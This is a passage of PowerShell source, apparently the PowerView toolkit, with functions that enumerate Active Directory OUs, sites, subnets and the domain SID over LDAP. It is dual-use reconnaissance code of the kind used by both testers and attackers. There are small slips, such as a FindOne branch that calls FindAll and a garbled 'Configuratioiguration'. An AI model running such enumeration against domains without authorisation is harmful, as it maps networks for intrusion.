8810 $InterestingACL | Add-Member NoteProperty 'ObjectAceType' 'None'
8811 }
8812 $InterestingACL | Add-Member NoteProperty 'AceFlags' $_.AceFlags
8813 $InterestingACL | Add-Member NoteProperty 'AceType' $_.AceType
8814 $InterestingACL | Add-Member NoteProperty 'InheritanceFlags' $_.InheritanceFlags
8815 $InterestingACL | Add-Member NoteProperty 'SecurityIdentifier' $_.SecurityIdentifier
8816 $InterestingACL | Add-Member NoteProperty 'IdentityReferenceName' $IdentityReferenceName
8817 $InterestingACL | Add-Member NoteProperty 'IdentityReferenceDomain' $IdentityReferenceDomain
8818 $InterestingACL | Add-Member NoteProperty 'IdentityReferenceDN' $IdentityReferenceDN
8819 $InterestingACL | Add-Member NoteProperty 'IdentityReferenceClass' $IdentityReferenceClass
8820 $InterestingACL
8821 }
8822 }
8823 else {
8824 Write-Warning "[Find-InterestingDomainAcl] Unable to convert SID '$($_.SecurityIdentifier.Value )' to a distinguishedname with Convert-ADName"
8825 }
8826 }
8827 }
8828 }
8829 }
8830 }
8831}
8832
8833
8834function Get-DomainOU {
8835<#
8836.SYNOPSIS
8837
8838Search for all organization units (OUs) or specific OU objects in AD.
8839
8840Author: Will Schroeder (@harmj0y)
8841License: BSD 3-Clause
8842Required Dependencies: Get-DomainSearcher, Convert-LDAPProperty
8843
8844.DESCRIPTION
8845
8846Builds a directory searcher object using Get-DomainSearcher, builds a custom
8847LDAP filter based on targeting/filter parameters, and searches for all objects
8848matching the criteria. To only return specific properties, use
8849"-Properties whencreated,usnchanged,...". By default, all OU objects for
8850the current domain are returned.
8851
8852.PARAMETER Identity
8853
8854An OU name (e.g. TestOU), DistinguishedName (e.g. OU=TestOU,DC=testlab,DC=local), or
8855GUID (e.g. 8a9ba22a-8977-47e6-84ce-8c26af4e1e6a). Wildcards accepted.
8856
8857.PARAMETER GPLink
8858
8859Only return OUs with the specified GUID in their gplink property.
8860
8861.PARAMETER Domain
8862
8863Specifies the domain to use for the query, defaults to the current domain.
8864
8865.PARAMETER LDAPFilter
8866
8867Specifies an LDAP query string that is used to filter Active Directory objects.
8868
8869.PARAMETER Properties
8870
8871Specifies the properties of the output object to retrieve from the server.
8872
8873.PARAMETER SearchBase
8874
8875The LDAP source to search through, e.g. "LDAP://OU=secret,DC=testlab,DC=local"
8876Useful for OU queries.
8877
8878.PARAMETER Server
8879
8880Specifies an Active Directory server (domain controller) to bind to.
8881
8882.PARAMETER SearchScope
8883
8884Specifies the scope to search under, Base/OneLevel/Subtree (default of Subtree).
8885
8886.PARAMETER ResultPageSize
8887
8888Specifies the PageSize to set for the LDAP searcher object.
8889
8890.PARAMETER ServerTimeLimit
8891
8892Specifies the maximum amount of time the server spends searching. Default of 120 seconds.
8893
8894.PARAMETER SecurityMasks
8895
8896Specifies an option for examining security information of a directory object.
8897One of 'Dacl', 'Group', 'None', 'Owner', 'Sacl'.
8898
8899.PARAMETER FindOne
8900
8901Only return one result object.
8902
8903.PARAMETER Tombstone
8904
8905Switch. Specifies that the searcher should also return deleted/tombstoned objects.
8906
8907.PARAMETER Credential
8908
8909A [Management.Automation.PSCredential] object of alternate credentials
8910for connection to the target domain.
8911
8912.PARAMETER Raw
8913
8914Switch. Return raw results instead of translating the fields into a custom PSObject.
8915
8916.EXAMPLE
8917
8918Get-DomainOU
8919
8920Returns the current OUs in the domain.
8921
8922.EXAMPLE
8923
8924Get-DomainOU *admin* -Domain testlab.local
8925
8926Returns all OUs with "admin" in their name in the testlab.local domain.
8927
8928.EXAMPLE
8929
8930Get-DomainOU -GPLink "F260B76D-55C8-46C5-BEF1-9016DD98E272"
8931
8932Returns all OUs with linked to the specified group policy object.
8933
8934.EXAMPLE
8935
8936"*admin*","*server*" | Get-DomainOU
8937
8938Search for OUs with the specific names.
8939
8940.EXAMPLE
8941
8942$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
8943$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword)
8944Get-DomainOU -Credential $Cred
8945
8946.OUTPUTS
8947
8948PowerView.OU
8949
8950Custom PSObject with translated OU property fields.
8951#>
8952
8953 [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')]
8954 [OutputType('PowerView.OU')]
8955 [CmdletBinding()]
8956 Param (
8957 [Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)]
8958 [Alias('Name')]
8959 [String[]]
8960 $Identity,
8961
8962 [ValidateNotNullOrEmpty()]
8963 [String]
8964 [Alias('GUID')]
8965 $GPLink,
8966
8967 [ValidateNotNullOrEmpty()]
8968 [String]
8969 $Domain,
8970
8971 [ValidateNotNullOrEmpty()]
8972 [Alias('Filter')]
8973 [String]
8974 $LDAPFilter,
8975
8976 [ValidateNotNullOrEmpty()]
8977 [String[]]
8978 $Properties,
8979
8980 [ValidateNotNullOrEmpty()]
8981 [Alias('ADSPath')]
8982 [String]
8983 $SearchBase,
8984
8985 [ValidateNotNullOrEmpty()]
8986 [Alias('DomainController')]
8987 [String]
8988 $Server,
8989
8990 [ValidateSet('Base', 'OneLevel', 'Subtree')]
8991 [String]
8992 $SearchScope = 'Subtree',
8993
8994 [ValidateRange(1, 10000)]
8995 [Int]
8996 $ResultPageSize = 200,
8997
8998 [ValidateRange(1, 10000)]
8999 [Int]
9000 $ServerTimeLimit,
9001
9002 [ValidateSet('Dacl', 'Group', 'None', 'Owner', 'Sacl')]
9003 [String]
9004 $SecurityMasks,
9005
9006 [Switch]
9007 $Tombstone,
9008
9009 [Alias('ReturnOne')]
9010 [Switch]
9011 $FindOne,
9012
9013 [Management.Automation.PSCredential]
9014 [Management.Automation.CredentialAttribute()]
9015 $Credential = [Management.Automation.PSCredential]::Empty,
9016
9017 [Switch]
9018 $Raw
9019 )
9020
9021 BEGIN {
9022 $SearcherArguments = @{}
9023 if ($PSBoundParameters['Domain']) { $SearcherArguments['Domain'] = $Domain }
9024 if ($PSBoundParameters['Properties']) { $SearcherArguments['Properties'] = $Properties }
9025 if ($PSBoundParameters['SearchBase']) { $SearcherArguments['SearchBase'] = $SearchBase }
9026 if ($PSBoundParameters['Server']) { $SearcherArguments['Server'] = $Server }
9027 if ($PSBoundParameters['SearchScope']) { $SearcherArguments['SearchScope'] = $SearchScope }
9028 if ($PSBoundParameters['ResultPageSize']) { $SearcherArguments['ResultPageSize'] = $ResultPageSize }
9029 if ($PSBoundParameters['ServerTimeLimit']) { $SearcherArguments['ServerTimeLimit'] = $ServerTimeLimit }
9030 if ($PSBoundParameters['SecurityMasks']) { $SearcherArguments['SecurityMasks'] = $SecurityMasks }
9031 if ($PSBoundParameters['Tombstone']) { $SearcherArguments['Tombstone'] = $Tombstone }
9032 if ($PSBoundParameters['Credential']) { $SearcherArguments['Credential'] = $Credential }
9033 $OUSearcher = Get-DomainSearcher @SearcherArguments
9034 }
9035
9036 PROCESS {
9037 if ($OUSearcher) {
9038 $IdentityFilter = ''
9039 $Filter = ''
9040 $Identity | Where-Object {$_} | ForEach-Object {
9041 $IdentityInstance = $_.Replace('(', '\28').Replace(')', '\29')
9042 if ($IdentityInstance -match '^OU=.*') {
9043 $IdentityFilter += "(distinguishedname=$IdentityInstance)"
9044 if ((-not $PSBoundParameters['Domain']) -and (-not $PSBoundParameters['SearchBase'])) {
9045 # if a -Domain isn't explicitly set, extract the object domain out of the distinguishedname
9046 # and rebuild the domain searcher
9047 $IdentityDomain = $IdentityInstance.SubString($IdentityInstance.IndexOf('DC=')) -replace 'DC=','' -replace ',','.'
9048 Write-Verbose "[Get-DomainOU] Extracted domain '$IdentityDomain' from '$IdentityInstance'"
9049 $SearcherArguments['Domain'] = $IdentityDomain
9050 $OUSearcher = Get-DomainSearcher @SearcherArguments
9051 if (-not $OUSearcher) {
9052 Write-Warning "[Get-DomainOU] Unable to retrieve domain searcher for '$IdentityDomain'"
9053 }
9054 }
9055 }
9056 else {
9057 try {
9058 $GuidByteString = (-Join (([Guid]$IdentityInstance).ToByteArray() | ForEach-Object {$_.ToString('X').PadLeft(2,'0')})) -Replace '(..)','\$1'
9059 $IdentityFilter += "(objectguid=$GuidByteString)"
9060 }
9061 catch {
9062 $IdentityFilter += "(name=$IdentityInstance)"
9063 }
9064 }
9065 }
9066 if ($IdentityFilter -and ($IdentityFilter.Trim() -ne '') ) {
9067 $Filter += "(|$IdentityFilter)"
9068 }
9069
9070 if ($PSBoundParameters['GPLink']) {
9071 Write-Verbose "[Get-DomainOU] Searching for OUs with $GPLink set in the gpLink property"
9072 $Filter += "(gplink=*$GPLink*)"
9073 }
9074
9075 if ($PSBoundParameters['LDAPFilter']) {
9076 Write-Verbose "[Get-DomainOU] Using additional LDAP filter: $LDAPFilter"
9077 $Filter += "$LDAPFilter"
9078 }
9079
9080 $OUSearcher.filter = "(&(objectCategory=organizationalUnit)$Filter)"
9081 Write-Verbose "[Get-DomainOU] Get-DomainOU filter string: $($OUSearcher.filter)"
9082
9083 if ($PSBoundParameters['FindOne']) { $Results = $OUSearcher.FindOne() }
9084 else { $Results = $OUSearcher.FindAll() }
9085 $Results | Where-Object {$_} | ForEach-Object {
9086 if ($PSBoundParameters['Raw']) {
9087 # return raw result objects
9088 $OU = $_
9089 }
9090 else {
9091 $OU = Convert-LDAPProperty -Properties $_.Properties
9092 }
9093 $OU.PSObject.TypeNames.Insert(0, 'PowerView.OU')
9094 $OU
9095 }
9096 if ($Results) {
9097 try { $Results.dispose() }
9098 catch {
9099 Write-Verbose "[Get-DomainOU] Error disposing of the Results object: $_"
9100 }
9101 }
9102 $OUSearcher.dispose()
9103 }
9104 }
9105}
9106
9107
9108function Get-DomainSite {
9109<#
9110.SYNOPSIS
9111
9112Search for all sites or specific site objects in AD.
9113
9114Author: Will Schroeder (@harmj0y)
9115License: BSD 3-Clause
9116Required Dependencies: Get-DomainSearcher, Convert-LDAPProperty
9117
9118.DESCRIPTION
9119
9120Builds a directory searcher object using Get-DomainSearcher, builds a custom
9121LDAP filter based on targeting/filter parameters, and searches for all objects
9122matching the criteria. To only return specific properties, use
9123"-Properties whencreated,usnchanged,...". By default, all site objects for
9124the current domain are returned.
9125
9126.PARAMETER Identity
9127
9128An site name (e.g. Test-Site), DistinguishedName (e.g. CN=Test-Site,CN=Sites,CN=Configuration,DC=testlab,DC=local), or
9129GUID (e.g. c37726ef-2b64-4524-b85b-6a9700c234dd). Wildcards accepted.
9130
9131.PARAMETER GPLink
9132
9133Only return sites with the specified GUID in their gplink property.
9134
9135.PARAMETER Domain
9136
9137Specifies the domain to use for the query, defaults to the current domain.
9138
9139.PARAMETER LDAPFilter
9140
9141Specifies an LDAP query string that is used to filter Active Directory objects.
9142
9143.PARAMETER Properties
9144
9145Specifies the properties of the output object to retrieve from the server.
9146
9147.PARAMETER SearchBase
9148
9149The LDAP source to search through, e.g. "LDAP://OU=secret,DC=testlab,DC=local"
9150Useful for OU queries.
9151
9152.PARAMETER Server
9153
9154Specifies an Active Directory server (domain controller) to bind to.
9155
9156.PARAMETER SearchScope
9157
9158Specifies the scope to search under, Base/OneLevel/Subtree (default of Subtree).
9159
9160.PARAMETER ResultPageSize
9161
9162Specifies the PageSize to set for the LDAP searcher object.
9163
9164.PARAMETER ServerTimeLimit
9165
9166Specifies the maximum amount of time the server spends searching. Default of 120 seconds.
9167
9168.PARAMETER SecurityMasks
9169
9170Specifies an option for examining security information of a directory object.
9171One of 'Dacl', 'Group', 'None', 'Owner', 'Sacl'.
9172
9173.PARAMETER Tombstone
9174
9175Switch. Specifies that the searcher should also return deleted/tombstoned objects.
9176
9177.PARAMETER FindOne
9178
9179Only return one result object.
9180
9181.PARAMETER Credential
9182
9183A [Management.Automation.PSCredential] object of alternate credentials
9184for connection to the target domain.
9185
9186.PARAMETER Raw
9187
9188Switch. Return raw results instead of translating the fields into a custom PSObject.
9189
9190.EXAMPLE
9191
9192Get-DomainSite
9193
9194Returns the current sites in the domain.
9195
9196.EXAMPLE
9197
9198Get-DomainSite *admin* -Domain testlab.local
9199
9200Returns all sites with "admin" in their name in the testlab.local domain.
9201
9202.EXAMPLE
9203
9204Get-DomainSite -GPLink "F260B76D-55C8-46C5-BEF1-9016DD98E272"
9205
9206Returns all sites with linked to the specified group policy object.
9207
9208.EXAMPLE
9209
9210$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
9211$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword)
9212Get-DomainSite -Credential $Cred
9213
9214.OUTPUTS
9215
9216PowerView.Site
9217
9218Custom PSObject with translated site property fields.
9219#>
9220
9221 [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')]
9222 [OutputType('PowerView.Site')]
9223 [CmdletBinding()]
9224 Param (
9225 [Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)]
9226 [Alias('Name')]
9227 [String[]]
9228 $Identity,
9229
9230 [ValidateNotNullOrEmpty()]
9231 [String]
9232 [Alias('GUID')]
9233 $GPLink,
9234
9235 [ValidateNotNullOrEmpty()]
9236 [String]
9237 $Domain,
9238
9239 [ValidateNotNullOrEmpty()]
9240 [Alias('Filter')]
9241 [String]
9242 $LDAPFilter,
9243
9244 [ValidateNotNullOrEmpty()]
9245 [String[]]
9246 $Properties,
9247
9248 [ValidateNotNullOrEmpty()]
9249 [Alias('ADSPath')]
9250 [String]
9251 $SearchBase,
9252
9253 [ValidateNotNullOrEmpty()]
9254 [Alias('DomainController')]
9255 [String]
9256 $Server,
9257
9258 [ValidateSet('Base', 'OneLevel', 'Subtree')]
9259 [String]
9260 $SearchScope = 'Subtree',
9261
9262 [ValidateRange(1, 10000)]
9263 [Int]
9264 $ResultPageSize = 200,
9265
9266 [ValidateRange(1, 10000)]
9267 [Int]
9268 $ServerTimeLimit,
9269
9270 [ValidateSet('Dacl', 'Group', 'None', 'Owner', 'Sacl')]
9271 [String]
9272 $SecurityMasks,
9273
9274 [Switch]
9275 $Tombstone,
9276
9277 [Alias('ReturnOne')]
9278 [Switch]
9279 $FindOne,
9280
9281 [Management.Automation.PSCredential]
9282 [Management.Automation.CredentialAttribute()]
9283 $Credential = [Management.Automation.PSCredential]::Empty,
9284
9285 [Switch]
9286 $Raw
9287 )
9288
9289 BEGIN {
9290 $SearcherArguments = @{
9291 'SearchBasePrefix' = 'CN=Sites,CN=Configuration'
9292 }
9293 if ($PSBoundParameters['Domain']) { $SearcherArguments['Domain'] = $Domain }
9294 if ($PSBoundParameters['Properties']) { $SearcherArguments['Properties'] = $Properties }
9295 if ($PSBoundParameters['SearchBase']) { $SearcherArguments['SearchBase'] = $SearchBase }
9296 if ($PSBoundParameters['Server']) { $SearcherArguments['Server'] = $Server }
9297 if ($PSBoundParameters['SearchScope']) { $SearcherArguments['SearchScope'] = $SearchScope }
9298 if ($PSBoundParameters['ResultPageSize']) { $SearcherArguments['ResultPageSize'] = $ResultPageSize }
9299 if ($PSBoundParameters['ServerTimeLimit']) { $SearcherArguments['ServerTimeLimit'] = $ServerTimeLimit }
9300 if ($PSBoundParameters['SecurityMasks']) { $SearcherArguments['SecurityMasks'] = $SecurityMasks }
9301 if ($PSBoundParameters['Tombstone']) { $SearcherArguments['Tombstone'] = $Tombstone }
9302 if ($PSBoundParameters['Credential']) { $SearcherArguments['Credential'] = $Credential }
9303 $SiteSearcher = Get-DomainSearcher @SearcherArguments
9304 }
9305
9306 PROCESS {
9307 if ($SiteSearcher) {
9308 $IdentityFilter = ''
9309 $Filter = ''
9310 $Identity | Where-Object {$_} | ForEach-Object {
9311 $IdentityInstance = $_.Replace('(', '\28').Replace(')', '\29')
9312 if ($IdentityInstance -match '^CN=.*') {
9313 $IdentityFilter += "(distinguishedname=$IdentityInstance)"
9314 if ((-not $PSBoundParameters['Domain']) -and (-not $PSBoundParameters['SearchBase'])) {
9315 # if a -Domain isn't explicitly set, extract the object domain out of the distinguishedname
9316 # and rebuild the domain searcher
9317 $IdentityDomain = $IdentityInstance.SubString($IdentityInstance.IndexOf('DC=')) -replace 'DC=','' -replace ',','.'
9318 Write-Verbose "[Get-DomainSite] Extracted domain '$IdentityDomain' from '$IdentityInstance'"
9319 $SearcherArguments['Domain'] = $IdentityDomain
9320 $SiteSearcher = Get-DomainSearcher @SearcherArguments
9321 if (-not $SiteSearcher) {
9322 Write-Warning "[Get-DomainSite] Unable to retrieve domain searcher for '$IdentityDomain'"
9323 }
9324 }
9325 }
9326 else {
9327 try {
9328 $GuidByteString = (-Join (([Guid]$IdentityInstance).ToByteArray() | ForEach-Object {$_.ToString('X').PadLeft(2,'0')})) -Replace '(..)','\$1'
9329 $IdentityFilter += "(objectguid=$GuidByteString)"
9330 }
9331 catch {
9332 $IdentityFilter += "(name=$IdentityInstance)"
9333 }
9334 }
9335 }
9336 if ($IdentityFilter -and ($IdentityFilter.Trim() -ne '') ) {
9337 $Filter += "(|$IdentityFilter)"
9338 }
9339
9340 if ($PSBoundParameters['GPLink']) {
9341 Write-Verbose "[Get-DomainSite] Searching for sites with $GPLink set in the gpLink property"
9342 $Filter += "(gplink=*$GPLink*)"
9343 }
9344
9345 if ($PSBoundParameters['LDAPFilter']) {
9346 Write-Verbose "[Get-DomainSite] Using additional LDAP filter: $LDAPFilter"
9347 $Filter += "$LDAPFilter"
9348 }
9349
9350 $SiteSearcher.filter = "(&(objectCategory=site)$Filter)"
9351 Write-Verbose "[Get-DomainSite] Get-DomainSite filter string: $($SiteSearcher.filter)"
9352
9353 if ($PSBoundParameters['FindOne']) { $Results = $SiteSearcher.FindAll() }
9354 else { $Results = $SiteSearcher.FindAll() }
9355 $Results | Where-Object {$_} | ForEach-Object {
9356 if ($PSBoundParameters['Raw']) {
9357 # return raw result objects
9358 $Site = $_
9359 }
9360 else {
9361 $Site = Convert-LDAPProperty -Properties $_.Properties
9362 }
9363 $Site.PSObject.TypeNames.Insert(0, 'PowerView.Site')
9364 $Site
9365 }
9366 if ($Results) {
9367 try { $Results.dispose() }
9368 catch {
9369 Write-Verbose "[Get-DomainSite] Error disposing of the Results object"
9370 }
9371 }
9372 $SiteSearcher.dispose()
9373 }
9374 }
9375}
9376
9377
9378function Get-DomainSubnet {
9379<#
9380.SYNOPSIS
9381
9382Search for all subnets or specific subnets objects in AD.
9383
9384Author: Will Schroeder (@harmj0y)
9385License: BSD 3-Clause
9386Required Dependencies: Get-DomainSearcher, Convert-LDAPProperty
9387
9388.DESCRIPTION
9389
9390Builds a directory searcher object using Get-DomainSearcher, builds a custom
9391LDAP filter based on targeting/filter parameters, and searches for all objects
9392matching the criteria. To only return specific properties, use
9393"-Properties whencreated,usnchanged,...". By default, all subnet objects for
9394the current domain are returned.
9395
9396.PARAMETER Identity
9397
9398An subnet name (e.g. '192.168.50.0/24'), DistinguishedName (e.g. 'CN=192.168.50.0/24,CN=Subnets,CN=Sites,CN=Configuratioiguration,DC=testlab,DC=local'),
9399or GUID (e.g. c37726ef-2b64-4524-b85b-6a9700c234dd). Wildcards accepted.
9400
9401.PARAMETER SiteName
9402
9403Only return subnets from the specified SiteName.
9404
9405.PARAMETER Domain
9406
9407Specifies the domain to use for the query, defaults to the current domain.
9408
9409.PARAMETER LDAPFilter
9410
9411Specifies an LDAP query string that is used to filter Active Directory objects.
9412
9413.PARAMETER Properties
9414
9415Specifies the properties of the output object to retrieve from the server.
9416
9417.PARAMETER SearchBase
9418
9419The LDAP source to search through, e.g. "LDAP://OU=secret,DC=testlab,DC=local"
9420Useful for OU queries.
9421
9422.PARAMETER Server
9423
9424Specifies an Active Directory server (domain controller) to bind to.
9425
9426.PARAMETER SearchScope
9427
9428Specifies the scope to search under, Base/OneLevel/Subtree (default of Subtree).
9429
9430.PARAMETER ResultPageSize
9431
9432Specifies the PageSize to set for the LDAP searcher object.
9433
9434.PARAMETER ServerTimeLimit
9435
9436Specifies the maximum amount of time the server spends searching. Default of 120 seconds.
9437
9438.PARAMETER SecurityMasks
9439
9440Specifies an option for examining security information of a directory object.
9441One of 'Dacl', 'Group', 'None', 'Owner', 'Sacl'.
9442
9443.PARAMETER Tombstone
9444
9445Switch. Specifies that the searcher should also return deleted/tombstoned objects.
9446
9447.PARAMETER FindOne
9448
9449Only return one result object.
9450
9451.PARAMETER Credential
9452
9453A [Management.Automation.PSCredential] object of alternate credentials
9454for connection to the target domain.
9455
9456.PARAMETER Raw
9457
9458Switch. Return raw results instead of translating the fields into a custom PSObject.
9459
9460.EXAMPLE
9461
9462Get-DomainSubnet
9463
9464Returns the current subnets in the domain.
9465
9466.EXAMPLE
9467
9468Get-DomainSubnet *admin* -Domain testlab.local
9469
9470Returns all subnets with "admin" in their name in the testlab.local domain.
9471
9472.EXAMPLE
9473
9474Get-DomainSubnet -GPLink "F260B76D-55C8-46C5-BEF1-9016DD98E272"
9475
9476Returns all subnets with linked to the specified group policy object.
9477
9478.EXAMPLE
9479
9480$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
9481$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword)
9482Get-DomainSubnet -Credential $Cred
9483
9484.OUTPUTS
9485
9486PowerView.Subnet
9487
9488Custom PSObject with translated subnet property fields.
9489#>
9490
9491 [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')]
9492 [OutputType('PowerView.Subnet')]
9493 [CmdletBinding()]
9494 Param (
9495 [Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)]
9496 [Alias('Name')]
9497 [String[]]
9498 $Identity,
9499
9500 [ValidateNotNullOrEmpty()]
9501 [String]
9502 $SiteName,
9503
9504 [ValidateNotNullOrEmpty()]
9505 [String]
9506 $Domain,
9507
9508 [ValidateNotNullOrEmpty()]
9509 [Alias('Filter')]
9510 [String]
9511 $LDAPFilter,
9512
9513 [ValidateNotNullOrEmpty()]
9514 [String[]]
9515 $Properties,
9516
9517 [ValidateNotNullOrEmpty()]
9518 [Alias('ADSPath')]
9519 [String]
9520 $SearchBase,
9521
9522 [ValidateNotNullOrEmpty()]
9523 [Alias('DomainController')]
9524 [String]
9525 $Server,
9526
9527 [ValidateSet('Base', 'OneLevel', 'Subtree')]
9528 [String]
9529 $SearchScope = 'Subtree',
9530
9531 [ValidateRange(1, 10000)]
9532 [Int]
9533 $ResultPageSize = 200,
9534
9535 [ValidateRange(1, 10000)]
9536 [Int]
9537 $ServerTimeLimit,
9538
9539 [ValidateSet('Dacl', 'Group', 'None', 'Owner', 'Sacl')]
9540 [String]
9541 $SecurityMasks,
9542
9543 [Switch]
9544 $Tombstone,
9545
9546 [Alias('ReturnOne')]
9547 [Switch]
9548 $FindOne,
9549
9550 [Management.Automation.PSCredential]
9551 [Management.Automation.CredentialAttribute()]
9552 $Credential = [Management.Automation.PSCredential]::Empty,
9553
9554 [Switch]
9555 $Raw
9556 )
9557
9558 BEGIN {
9559 $SearcherArguments = @{
9560 'SearchBasePrefix' = 'CN=Subnets,CN=Sites,CN=Configuration'
9561 }
9562 if ($PSBoundParameters['Domain']) { $SearcherArguments['Domain'] = $Domain }
9563 if ($PSBoundParameters['Properties']) { $SearcherArguments['Properties'] = $Properties }
9564 if ($PSBoundParameters['SearchBase']) { $SearcherArguments['SearchBase'] = $SearchBase }
9565 if ($PSBoundParameters['Server']) { $SearcherArguments['Server'] = $Server }
9566 if ($PSBoundParameters['SearchScope']) { $SearcherArguments['SearchScope'] = $SearchScope }
9567 if ($PSBoundParameters['ResultPageSize']) { $SearcherArguments['ResultPageSize'] = $ResultPageSize }
9568 if ($PSBoundParameters['ServerTimeLimit']) { $SearcherArguments['ServerTimeLimit'] = $ServerTimeLimit }
9569 if ($PSBoundParameters['SecurityMasks']) { $SearcherArguments['SecurityMasks'] = $SecurityMasks }
9570 if ($PSBoundParameters['Tombstone']) { $SearcherArguments['Tombstone'] = $Tombstone }
9571 if ($PSBoundParameters['Credential']) { $SearcherArguments['Credential'] = $Credential }
9572 $SubnetSearcher = Get-DomainSearcher @SearcherArguments
9573 }
9574
9575 PROCESS {
9576 if ($SubnetSearcher) {
9577 $IdentityFilter = ''
9578 $Filter = ''
9579 $Identity | Where-Object {$_} | ForEach-Object {
9580 $IdentityInstance = $_.Replace('(', '\28').Replace(')', '\29')
9581 if ($IdentityInstance -match '^CN=.*') {
9582 $IdentityFilter += "(distinguishedname=$IdentityInstance)"
9583 if ((-not $PSBoundParameters['Domain']) -and (-not $PSBoundParameters['SearchBase'])) {
9584 # if a -Domain isn't explicitly set, extract the object domain out of the distinguishedname
9585 # and rebuild the domain searcher
9586 $IdentityDomain = $IdentityInstance.SubString($IdentityInstance.IndexOf('DC=')) -replace 'DC=','' -replace ',','.'
9587 Write-Verbose "[Get-DomainSubnet] Extracted domain '$IdentityDomain' from '$IdentityInstance'"
9588 $SearcherArguments['Domain'] = $IdentityDomain
9589 $SubnetSearcher = Get-DomainSearcher @SearcherArguments
9590 if (-not $SubnetSearcher) {
9591 Write-Warning "[Get-DomainSubnet] Unable to retrieve domain searcher for '$IdentityDomain'"
9592 }
9593 }
9594 }
9595 else {
9596 try {
9597 $GuidByteString = (-Join (([Guid]$IdentityInstance).ToByteArray() | ForEach-Object {$_.ToString('X').PadLeft(2,'0')})) -Replace '(..)','\$1'
9598 $IdentityFilter += "(objectguid=$GuidByteString)"
9599 }
9600 catch {
9601 $IdentityFilter += "(name=$IdentityInstance)"
9602 }
9603 }
9604 }
9605 if ($IdentityFilter -and ($IdentityFilter.Trim() -ne '') ) {
9606 $Filter += "(|$IdentityFilter)"
9607 }
9608
9609 if ($PSBoundParameters['LDAPFilter']) {
9610 Write-Verbose "[Get-DomainSubnet] Using additional LDAP filter: $LDAPFilter"
9611 $Filter += "$LDAPFilter"
9612 }
9613
9614 $SubnetSearcher.filter = "(&(objectCategory=subnet)$Filter)"
9615 Write-Verbose "[Get-DomainSubnet] Get-DomainSubnet filter string: $($SubnetSearcher.filter)"
9616
9617 if ($PSBoundParameters['FindOne']) { $Results = $SubnetSearcher.FindOne() }
9618 else { $Results = $SubnetSearcher.FindAll() }
9619 $Results | Where-Object {$_} | ForEach-Object {
9620 if ($PSBoundParameters['Raw']) {
9621 # return raw result objects
9622 $Subnet = $_
9623 }
9624 else {
9625 $Subnet = Convert-LDAPProperty -Properties $_.Properties
9626 }
9627 $Subnet.PSObject.TypeNames.Insert(0, 'PowerView.Subnet')
9628
9629 if ($PSBoundParameters['SiteName']) {
9630 # have to do the filtering after the LDAP query as LDAP doesn't let you specify
9631 # wildcards for 'siteobject' :(
9632 if ($Subnet.properties -and ($Subnet.properties.siteobject -like "*$SiteName*")) {
9633 $Subnet
9634 }
9635 elseif ($Subnet.siteobject -like "*$SiteName*") {
9636 $Subnet
9637 }
9638 }
9639 else {
9640 $Subnet
9641 }
9642 }
9643 if ($Results) {
9644 try { $Results.dispose() }
9645 catch {
9646 Write-Verbose "[Get-DomainSubnet] Error disposing of the Results object: $_"
9647 }
9648 }
9649 $SubnetSearcher.dispose()
9650 }
9651 }
9652}
9653
9654
9655function Get-DomainSID {
9656<#
9657.SYNOPSIS
9658
9659Returns the SID for the current domain or the specified domain.
9660
9661Author: Will Schroeder (@harmj0y)
9662License: BSD 3-Clause
9663Required Dependencies: Get-DomainComputer
9664
9665.DESCRIPTION
9666
9667Returns the SID for the current domain or the specified domain by executing
9668Get-DomainComputer with the -LDAPFilter set to (userAccountControl:1.2.840.113556.1.4.803:=8192)
9669to search for domain controllers through LDAP. The SID of the returned domain controller
9670is then extracted.
9671
9672.PARAMETER Domain
9673
9674Specifies the domain to use for the query, defaults to the current domain.
9675
9676.PARAMETER Server
9677
9678Specifies an Active Directory server (domain controller) to bind to.
9679
9680.PARAMETER Credential
9681
9682A [Management.Automation.PSCredential] object of alternate credentials
9683for connection to the target domain.
9684
9685.EXAMPLE
9686
9687Get-DomainSID
9688
9689.EXAMPLE
9690
9691Get-DomainSID -Domain testlab.local
9692
9693.EXAMPLE
9694
9695$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
9696$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword)
9697Get-DomainSID -Credential $Cred
9698
9699.OUTPUTS
9700
9701String
9702
9703A string representing the specified domain SID.
9704#>
9705
9706 [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')]
9707 [OutputType([String])]
9708 [CmdletBinding()]
9709 Param(
9710 [ValidateNotNullOrEmpty()]
9711 [String]
9712 $Domain,
9713
9714 [ValidateNotNullOrEmpty()]
9715 [Alias('DomainController')]
9716 [String]
9717 $Server,
9718
9719 [Management.Automation.PSCredential]
9720 [Management.Automation.CredentialAttribute()]
9721 $Credential = [Management.Automation.PSCredential]::Empty
9722 )
9723
9724 $SearcherArguments = @{
9725 'LDAPFilter' = '(userAccountControl:1.2.840.113556.1.4.803:=8192)'
9726 }
9727 if ($PSBoundParameters['Domain']) { $SearcherArguments['Domain'] = $Domain }
9728 if ($PSBoundParameters['Server']) { $SearcherArguments['Server'] = $Server }
9729 if ($PSBoundParameters['Credential']) { $SearcherArguments['Credential'] = $Credential }
9730
9731 $DCSID = Get-DomainComputer @SearcherArguments -FindOne | Select-Object -First 1 -ExpandProperty objectsid
9732
9733 if ($DCSID) {
9734 $DCSID.SubString(0, $DCSID.LastIndexOf('-'))
9735 }
9736 else {
9737 Write-Verbose "[Get-DomainSID] Error extracting domain SID for '$Domain'"
9738 }
9739}
9740
9741
9742function Get-DomainGroup {
9743<#
9744.SYNOPSIS
9745
9746Return all groups or specific group objects in AD.
9747
9748Author: Will Schroeder (@harmj0y)
9749License: BSD 3-Clause
9750Required Dependencies: Get-DomainSearcher, Get-DomainObject, Convert-ADName, Convert-LDAPProperty
9751
